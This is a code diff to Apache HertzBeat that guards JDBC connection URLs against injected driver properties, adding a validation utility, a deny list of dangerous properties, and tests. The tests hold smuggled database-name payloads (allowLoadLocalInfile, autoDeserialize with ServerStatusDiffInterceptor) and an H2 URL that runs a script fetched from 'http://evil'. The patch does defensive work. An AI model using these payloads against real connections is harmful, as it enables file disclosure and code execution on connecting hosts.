diff --git a/hertzbeat-ai/src/main/java/org/apache/hertzbeat/ai/tools/impl/DatabaseToolsImpl.java b/hertzbeat-ai/src/main/java/org/apache/hertzbeat/ai/tools/impl/DatabaseToolsImpl.java index 285731c0ab4..fea163a5079 100644 --- a/hertzbeat-ai/src/main/java/org/apache/hertzbeat/ai/tools/impl/DatabaseToolsImpl.java +++ b/hertzbeat-ai/src/main/java/org/apache/hertzbeat/ai/tools/impl/DatabaseToolsImpl.java @@ -30,6 +30,9 @@ import org.apache.hertzbeat.common.entity.manager.Monitor; import org.apache.hertzbeat.common.entity.manager.Param; import org.apache.hertzbeat.common.util.AesUtil; +import org.apache.hertzbeat.common.util.CommonUtil; +import org.apache.hertzbeat.common.util.IpDomainUtil; +import org.apache.hertzbeat.common.util.JdbcUrlSafetyUtil; import org.apache.hertzbeat.manager.pojo.dto.MonitorDto; import org.apache.hertzbeat.manager.service.MonitorService; import org.springframework.ai.tool.annotation.Tool; @@ -240,11 +243,21 @@ private String getParamValue(List params, String field) { private String buildJdbcUrl(String platform, String host, String port, String database) { String effectivePort = (port == null || port.isEmpty()) ? "3306" : port; - String effectiveDb = (database == null || database.isEmpty()) ? "" : database; - - return "jdbc:mysql://" + host + ":" + effectivePort + "/" + effectiveDb + // host, port and database come from monitor parameters and are concatenated into the url, + // so they must not carry url syntax of their own + String effectiveDb = JdbcUrlSafetyUtil.requireSafeDatabaseName(database); + if (!IpDomainUtil.validateIpDomain(host)) { + throw new IllegalArgumentException("Invalid database host: " + host); + } + if (!CommonUtil.isNumeric(effectivePort)) { + throw new IllegalArgumentException("Invalid database port: " + effectivePort); + } + + String url = "jdbc:mysql://" + host + ":" + effectivePort + "/" + effectiveDb + "?useUnicode=true&characterEncoding=utf-8&useSSL=false" + "&allowPublicKeyRetrieval=true&connectTimeout=5000"; + JdbcUrlSafetyUtil.requireSafeJdbcUrl(url); + return url; } private String executeAndFormat(String url, String username, String password, diff --git a/hertzbeat-collector/hertzbeat-collector-basic/src/main/java/org/apache/hertzbeat/collector/collect/database/JdbcCommonCollect.java b/hertzbeat-collector/hertzbeat-collector-basic/src/main/java/org/apache/hertzbeat/collector/collect/database/JdbcCommonCollect.java index 7be1a44ce99..e2aafac505d 100644 --- a/hertzbeat-collector/hertzbeat-collector-basic/src/main/java/org/apache/hertzbeat/collector/collect/database/JdbcCommonCollect.java +++ b/hertzbeat-collector/hertzbeat-collector-basic/src/main/java/org/apache/hertzbeat/collector/collect/database/JdbcCommonCollect.java @@ -46,6 +46,7 @@ import org.apache.hertzbeat.common.entity.job.protocol.JdbcProtocol; import org.apache.hertzbeat.common.entity.message.CollectRep; import org.apache.hertzbeat.common.util.CommonUtil; +import org.apache.hertzbeat.common.util.JdbcUrlSafetyUtil; import org.apache.sshd.common.SshException; import org.apache.sshd.common.channel.exception.SshChannelOpenException; import org.postgresql.util.PSQLException; @@ -605,28 +606,33 @@ private String constructDatabaseUrl(JdbcProtocol jdbcProtocol, String host, Stri return url; } assert jdbcProtocol.getPlatform() != null; - return switch (jdbcProtocol.getPlatform()) { + // the database name is concatenated into the url below, so it must not carry url syntax + String database = JdbcUrlSafetyUtil.requireSafeDatabaseName(jdbcProtocol.getDatabase()); + String constructedUrl = switch (jdbcProtocol.getPlatform()) { case "mysql", "mariadb" -> "jdbc:mysql://" + host + ":" + port - + "/" + (jdbcProtocol.getDatabase() == null ? "" : jdbcProtocol.getDatabase()) + + "/" + database + "?useUnicode=true&characterEncoding=utf-8&useSSL=false"; case "xugu" -> "jdbc:xugu://" + host + ":" + port - + "/" + (jdbcProtocol.getDatabase() == null ? "" : jdbcProtocol.getDatabase()); + + "/" + database; case "postgresql" -> "jdbc:postgresql://" + host + ":" + port - + "/" + (jdbcProtocol.getDatabase() == null ? "" : jdbcProtocol.getDatabase()); + + "/" + database; case "clickhouse" -> "jdbc:clickhouse://" + host + ":" + port - + "/" + (jdbcProtocol.getDatabase() == null ? "" : jdbcProtocol.getDatabase()); + + "/" + database; case "sqlserver" -> "jdbc:sqlserver://" + host + ":" + port - + ";" + (jdbcProtocol.getDatabase() == null ? "" : "DatabaseName=" + jdbcProtocol.getDatabase()) + + ";" + (database.isEmpty() ? "" : "DatabaseName=" + database) + ";trustServerCertificate=true;"; case "oracle" -> "jdbc:oracle:thin:@" + host + ":" + port - + "/" + (jdbcProtocol.getDatabase() == null ? "" : jdbcProtocol.getDatabase()); + + "/" + database; case "dm" -> "jdbc:dm://" + host + ":" + port; case "db2" -> "jdbc:db2://" + host + ":" + port - + "/" + (jdbcProtocol.getDatabase() == null ? "" : jdbcProtocol.getDatabase()); + + "/" + database; case "testcontainers" -> "jdbc:tc:" + host + ":" + port - + ":///" + (jdbcProtocol.getDatabase() == null ? "" : jdbcProtocol.getDatabase()) + "?user=root&password=root"; + + ":///" + database + "?user=root&password=root"; default -> throw new IllegalArgumentException("Not support database platform: " + jdbcProtocol.getPlatform()); }; + // fail closed if any concatenated value still smuggled a driver property through + JdbcUrlSafetyUtil.requireSafeJdbcUrl(constructedUrl); + return constructedUrl; } private static final class ResultSetJdbcQueryRowSet implements JdbcQueryRowSet { diff --git a/hertzbeat-collector/hertzbeat-collector-basic/src/test/java/org/apache/hertzbeat/collector/collect/database/JdbcCommonCollectTest.java b/hertzbeat-collector/hertzbeat-collector-basic/src/test/java/org/apache/hertzbeat/collector/collect/database/JdbcCommonCollectTest.java index 3c10a317659..efede36cab4 100644 --- a/hertzbeat-collector/hertzbeat-collector-basic/src/test/java/org/apache/hertzbeat/collector/collect/database/JdbcCommonCollectTest.java +++ b/hertzbeat-collector/hertzbeat-collector-basic/src/test/java/org/apache/hertzbeat/collector/collect/database/JdbcCommonCollectTest.java @@ -185,6 +185,29 @@ void testConstructDatabaseUrlRejectsUnsupportedPlatform() { assertEquals("Not support database platform: invalid", exception.getMessage()); } + /** + * The url blacklist only guards a user supplied url. Driver properties smuggled through the + * database name reach the very same connection, so they have to be rejected too. + */ + @Test + void testConstructDatabaseUrlRejectsDriverPropertiesInDatabaseName() { + String[] payloads = { + "test?allowLoadLocalInfile=true&z=", + "test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&z=", + "test&useSSL=false", + }; + for (String payload : payloads) { + JdbcProtocol jdbcProtocol = JdbcProtocol.builder() + .platform("mysql") + .database(payload) + .build(); + + assertThrows(IllegalArgumentException.class, + () -> constructDatabaseUrl(jdbcCommonCollect, jdbcProtocol, "localhost", "3306"), + "database name should be rejected: " + payload); + } + } + @Test void testCloseConnectionWhenCreateStatementFails() throws Exception { String url = "jdbc:postgresql://localhost:5432/hertzbeat"; diff --git a/hertzbeat-common-core/src/main/java/org/apache/hertzbeat/common/util/JdbcUrlSafetyUtil.java b/hertzbeat-common-core/src/main/java/org/apache/hertzbeat/common/util/JdbcUrlSafetyUtil.java new file mode 100644 index 00000000000..319381c5cbd --- /dev/null +++ b/hertzbeat-common-core/src/main/java/org/apache/hertzbeat/common/util/JdbcUrlSafetyUtil.java @@ -0,0 +1,99 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package org.apache.hertzbeat.common.util; + +import java.util.Locale; +import java.util.regex.Pattern; + +/** + * Safety helpers for building JDBC connection urls from user supplied monitor parameters. + * + *

Connection parameters such as the database name are concatenated into the jdbc url. Without + * restriction a value like {@code db?allowLoadLocalInfile=true} injects arbitrary driver properties, + * which a malicious database server turns into local file disclosure or deserialization on the + * connecting jvm. The url blacklist only guards the url a user types in directly, so every other + * value that reaches the url has to be constrained here. + */ +public final class JdbcUrlSafetyUtil { + + /** + * Identifier characters accepted in a database or schema name. Deliberately excludes the + * characters that carry meaning inside a jdbc url: {@code ? & = : / \ ; # space}. + */ + private static final Pattern DATABASE_NAME_PATTERN = Pattern.compile("^[A-Za-z0-9_$][A-Za-z0-9_$.\\-]{0,63}$"); + + /** + * Driver properties that turn a connection into a client side attack. Checked against the + * assembled url so a concatenation mistake anywhere still fails closed. + */ + private static final String[] DANGEROUS_URL_PROPERTIES = { + // file IO - lets a malicious server read files from the connecting host + "allowloadlocalinfile", "allowloadlocalinfileinpath", "uselocalinfile", + // code execution and deserialization + "autodeserialize", "detectcustomcollations", "queryinterceptors", "statementinterceptors", + "exceptioninterceptors", "javaobjectserializer", "serverstatusdiffinterceptor", + "socketfactory", "init=", "runscript", + // multi statement execution + "allowmultiqueries", + // remote object lookup + "jndi:", "ldap:", "rmi:", + }; + + private JdbcUrlSafetyUtil() { + } + + /** + * Validate a database or schema name that is about to be concatenated into a jdbc url. + * + * @param database database name, may be null or empty + * @return the database name, or an empty string when nothing was supplied + * @throws IllegalArgumentException when the name contains jdbc url syntax + */ + public static String requireSafeDatabaseName(String database) { + if (database == null || database.isEmpty()) { + return ""; + } + if (!DATABASE_NAME_PATTERN.matcher(database).matches()) { + throw new IllegalArgumentException("Invalid database name: only letters, digits, " + + "'_', '$', '.' and '-' are allowed, up to 64 characters"); + } + return database; + } + + /** + * Reject an assembled jdbc url that carries a driver property known to be attacker useful. + * + *

Applies to urls this project builds itself. Urls typed in by a user go through the wider + * platform aware checks in the collector before reaching here. + * + * @param url assembled jdbc url + * @throws IllegalArgumentException when a dangerous property is present + */ + public static void requireSafeJdbcUrl(String url) { + if (url == null || url.isEmpty()) { + return; + } + String normalized = url.toLowerCase(Locale.ROOT).replaceAll("[\\x00-\\x1F\\x7F]", ""); + for (String property : DANGEROUS_URL_PROPERTIES) { + if (normalized.contains(property)) { + throw new IllegalArgumentException( + "Invalid JDBC URL: contains potentially malicious parameter: " + property); + } + } + } +} diff --git a/hertzbeat-common-core/src/test/java/org/apache/hertzbeat/common/util/JdbcUrlSafetyUtilTest.java b/hertzbeat-common-core/src/test/java/org/apache/hertzbeat/common/util/JdbcUrlSafetyUtilTest.java new file mode 100644 index 00000000000..72ef2713340 --- /dev/null +++ b/hertzbeat-common-core/src/test/java/org/apache/hertzbeat/common/util/JdbcUrlSafetyUtilTest.java @@ -0,0 +1,90 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package org.apache.hertzbeat.common.util; + +import static org.junit.jupiter.api.Assertions.assertDoesNotThrow; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertThrows; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.ValueSource; + +/** + * Test case for {@link JdbcUrlSafetyUtil} + */ +class JdbcUrlSafetyUtilTest { + + @Test + void testAcceptsOrdinaryDatabaseNames() { + assertEquals("hertzbeat", JdbcUrlSafetyUtil.requireSafeDatabaseName("hertzbeat")); + assertEquals("my_db-1", JdbcUrlSafetyUtil.requireSafeDatabaseName("my_db-1")); + assertEquals("orcl.example.com", JdbcUrlSafetyUtil.requireSafeDatabaseName("orcl.example.com")); + assertEquals("", JdbcUrlSafetyUtil.requireSafeDatabaseName(null)); + assertEquals("", JdbcUrlSafetyUtil.requireSafeDatabaseName("")); + } + + @ValueSource(strings = { + // the payload that turns a monitor into local file disclosure on the collector + "test?allowLoadLocalInfile=true&z=", + "test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&z=", + // any character that carries jdbc url meaning has to be refused + "db&user=root", + "db=x", + "db/../other", + "db;DatabaseName=other", + "db:1234", + "db#fragment", + "db name", + "?leadingQuestion", + }) + @ParameterizedTest + void testRejectsDatabaseNamesCarryingUrlSyntax(String database) { + assertThrows(IllegalArgumentException.class, + () -> JdbcUrlSafetyUtil.requireSafeDatabaseName(database)); + } + + @Test + void testRejectsDatabaseNameOverLength() { + assertThrows(IllegalArgumentException.class, + () -> JdbcUrlSafetyUtil.requireSafeDatabaseName("a".repeat(65))); + } + + @Test + void testAcceptsUrlsThisProjectBuilds() { + assertDoesNotThrow(() -> JdbcUrlSafetyUtil.requireSafeJdbcUrl( + "jdbc:mysql://localhost:3306/test?useUnicode=true&characterEncoding=utf-8&useSSL=false")); + assertDoesNotThrow(() -> JdbcUrlSafetyUtil.requireSafeJdbcUrl( + "jdbc:sqlserver://localhost:1433;DatabaseName=test;trustServerCertificate=true;")); + assertDoesNotThrow(() -> JdbcUrlSafetyUtil.requireSafeJdbcUrl( + "jdbc:oracle:thin:@localhost:1521/orcl")); + assertDoesNotThrow(() -> JdbcUrlSafetyUtil.requireSafeJdbcUrl(null)); + } + + @ValueSource(strings = { + "jdbc:mysql://localhost:3306/test?allowLoadLocalInfile=true", + "jdbc:mysql://localhost:3306/test?autoDeserialize=true", + "jdbc:mysql://localhost:3306/test?queryInterceptors=x", + "jdbc:mysql://localhost:3306/test?allowMultiQueries=true", + "jdbc:postgresql://localhost:5432/test?socketFactory=x", + "jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://evil/x.sql'", + }) + @ParameterizedTest + void testRejectsUrlsCarryingDangerousDriverProperties(String url) { + assertThrows(IllegalArgumentException.class, () -> JdbcUrlSafetyUtil.requireSafeJdbcUrl(url)); + } +}